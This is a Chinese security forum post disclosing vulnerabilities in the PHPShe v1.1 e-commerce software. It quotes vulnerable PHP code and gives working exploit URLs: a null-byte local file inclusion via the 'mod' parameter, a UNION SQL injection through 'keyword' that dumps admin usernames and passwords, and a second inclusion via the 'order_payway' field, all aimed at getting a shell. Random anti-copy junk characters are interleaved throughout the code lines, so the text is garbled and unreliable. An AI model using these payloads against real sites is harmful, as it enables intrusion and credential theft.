找回密码
 立即注册
查看: 3076|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/*******************************************************/
6 o( s* A2 e4 N6 c1 U& e* \5 T$ @/* Phpshe v1.1 Vulnerability% d' e' Z0 ?4 E, ^$ d
/* ========================
; x/ R: t% n& p# I7 m6 H1 B/* By: : Kn1f3
/ o3 U4 }& x5 z+ n/* E-Mail : 681796@qq.com" V* a; U" O# I. ^
/*******************************************************/
/ c8 g9 [1 L# b/ _  e0×00 整体大概参数传输0 ~" ^0 H4 R  A# X2 d( _+ o# i5 v
2 E. K, |( l% f- Y3 `" e
  f9 j5 g, @9 r4 w& a4 {

: F3 M# E1 T! Y9 \) N//common.php9 A8 H5 e" U+ F) B% y; J
if (get_magic_quotes_gpc()) {, `9 {' B' C$ e) u- p. P
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');# P' Z( |# N4 L% a' b
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');9 T: {/ ^1 d. `1 j
}$ x! c6 Y, s. ~9 X3 S
else {( u& ?0 S0 e0 \; p2 C" V7 C
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
5 r2 d# @$ L; F1 r) e!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');6 p- @& z' N) q( F8 D  I
}
+ f% n0 ?/ z) B  csession_start();
$ S7 C: K( U, E!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
9 N3 M+ O0 ^8 y5 T$ W!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');9 T* t1 q3 s5 m, O: y& @) y

* f" j/ G4 }5 t/ `! l: _+ F0×01 包含漏洞1 E9 d  y$ ~6 B/ Q+ V

& n1 J, U/ G) L% c; d7 N5 o& P( F

7 w' x% L% y, D//首页文件
' m! b3 H' x" f5 f: s, g<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);1 S" g+ G* Z+ w5 [3 P$ ]
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞5 h0 h' t) C! t% G
pe_result();2 ?  G6 _1 y8 |3 g
?>8 L) S* u: f/ T5 F
//common 文件 第15行开始
  A% D% K4 ?% M$ O. Aurl路由配置" o3 E" \* `3 {$ e" j
$module = $mod = $act = 'index';; c! h  ?" L2 w
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
8 w7 E) R% D& X7 A# d! @( [$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);! ?2 p' f% T; K
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);' |' C, X8 p4 F3 l* ^- [
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
( Y: U+ h' W1 r! v  T

6 S( L) B9 K; g7 K2 x) t+ l1 V

8 |$ J9 _( t  I6 T: I 0×02 搜索注入  x, c3 v# q2 `) y5 b& s9 h2 p

% v# X8 [9 }/ E4 p<code id="code2">

//product.php文件
1 C' D8 ]) X. pcase 'list':* u* D, p0 q* o2 w- Y- {! m, _8 @
$category_id = intval($id);
7 W  J5 x: `" m. E$ C$info = $db->pe_select('category', array('category_id'=>$category_id));
$ a- Z; B$ S$ G$ d2 I5 T//搜索
' r. V$ G3 l7 g- t7 Q6 y$sqlwhere = " and `product_state` = 1";
- |+ _3 m) @* \( Hpe_lead('hook/category.hook.php');
) L, s" i, \( W, `  }) Z5 Z& o$ Bif ($category_id) {
% A  V6 u/ Y0 R' ~( ]. iwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";  M) U; K1 _: h4 k
}
. p+ ]. F; v+ p+ q* _3 @; @9 `( t$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤6 Z' Y" x* \. f+ @& Q
if ($_g_orderby) {
4 Z1 I; i  a+ G/ p( b% q: R$orderby = explode('_', $_g_orderby);3 c% r1 b6 Y' h$ Y2 ^
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";: L) V8 P2 _. h/ _( y: h6 U& y
}5 W2 z. R$ R. s6 U% y" A
else {
: O) q6 _6 M8 j# G$sqlwhere .= " order by `product_id` desc";' j/ @. Q. N, Z) q' l; H2 N8 U& P
}& z6 A9 W; P' B1 @6 L) L1 }
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
3 Y' ^: t* Q! L' ?9 L//热卖排行
+ V  g% _/ D4 u+ n  c9 w$product_hotlist = product_hotlist();$ n( O( X$ `9 Z3 N  W0 t
//当前路径
9 `/ m( A9 U; J$ r' N4 P" o- W$nowpath = category_path($category_id);
. J4 |. ?  c. o( C1 t2 c) j$seo = pe_seo($info['category_name']);
4 d3 q7 o1 L3 R2 Y# jinclude(pe_tpl('product_list.html'));1 l- i! q, X9 ~9 u$ b- K/ {- ~
//跟进selectall函数库
, {6 Y* q/ t+ m+ H) Epublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
9 u0 E) Z( ]- S2 l5 ?$ R$ a{! i; n8 p! X9 _3 m) p
//处理条件语句) a/ H* u; `8 j# j' d) L; s" n
$sqlwhere = $this->_dowhere($where);: u, |$ R! R0 {1 j5 {! Z4 W1 L, {5 W& A
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);) O/ p" C8 {/ G4 _+ c& E. j) e
}+ R" d: f6 e1 w
//exp( \7 W  m9 r3 h2 B( N
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1( k/ ^% p6 d# A4 Q4 f8 A

</code>
% a- i# x% X$ _8 G- \
% y0 Q! k3 b' k  E! z0×03 包含漏洞2
8 b, S" O/ I8 E/ B / ^) I; A* O& e* C1 V
<code id="code3">

//order.php

case 'pay':

2 S& I, x1 a1 b& \. }4 e5 V
$order_id = pe_dbhold($_g_id);

7 J& N, X( O; y' N
$cache_payway = cache::get('payway');

9 }4 l# u8 w+ w' w) s9 Z
foreach($cache_payway as $k => $v) {

/ S- }/ c" a( |+ E( p; N
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

  R; e: B/ q5 A4 y5 }% R  Z5 `
if ($k == 'bank') {

; d1 e, R2 i4 G; Q, s& }; ^/ p" a& J
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


4 o4 }  J) i: v$ F}


2 r" v4 t# J5 l}


: s4 m1 [7 v" g) T$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

; T9 R2 X9 W) b2 Q
!$order['order_id'] && pe_error('订单号错误...');

7 [+ z( B: E! n- K6 a  z8 q# z
if (isset($_p_pesubmit)) {


- @8 l* B. f" ^. T: c* ^; xif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


+ }2 M& E( [% @2 P& }+ m1 x$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


3 J% f5 G( z3 j3 F/ ?- g2 [foreach ($info_list as $v) {


  }0 ~+ P% ?5 n/ f/ `$order['order_name'] .= "{$v['product_name']};";
+ {! G0 [* P+ K/ _" {" _$ P

7 S/ K& n/ F. \# o# S
}


. p% ^* y, T9 ?$ S1 d; |! Lecho '正在为您连接支付网站,请稍后...';


' K3 {3 Z  \8 E+ Z! Finclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


& O2 N7 l# j; x4 o7 D3 I% c" A0 m% q" Z}//当一切准备好的时候就可以进行"鸡肋包含了"


7 Y2 a4 K: X9 Q* f5 kelse {


9 ^! l; k0 t3 n8 a* L. Ope_error('支付错误...');


. ?1 `- B2 C2 g}

5 ^# u" U8 L- P7 ?
}


" b6 z  h/ M" |$seo = pe_seo('选择支付方式');


( t9 p, J3 v6 t9 C" ninclude(pe_tpl('order_pay.html'));


$ X6 ?: v+ }) H% z% ^& x( Cbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
* y9 q% ~; x6 c

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表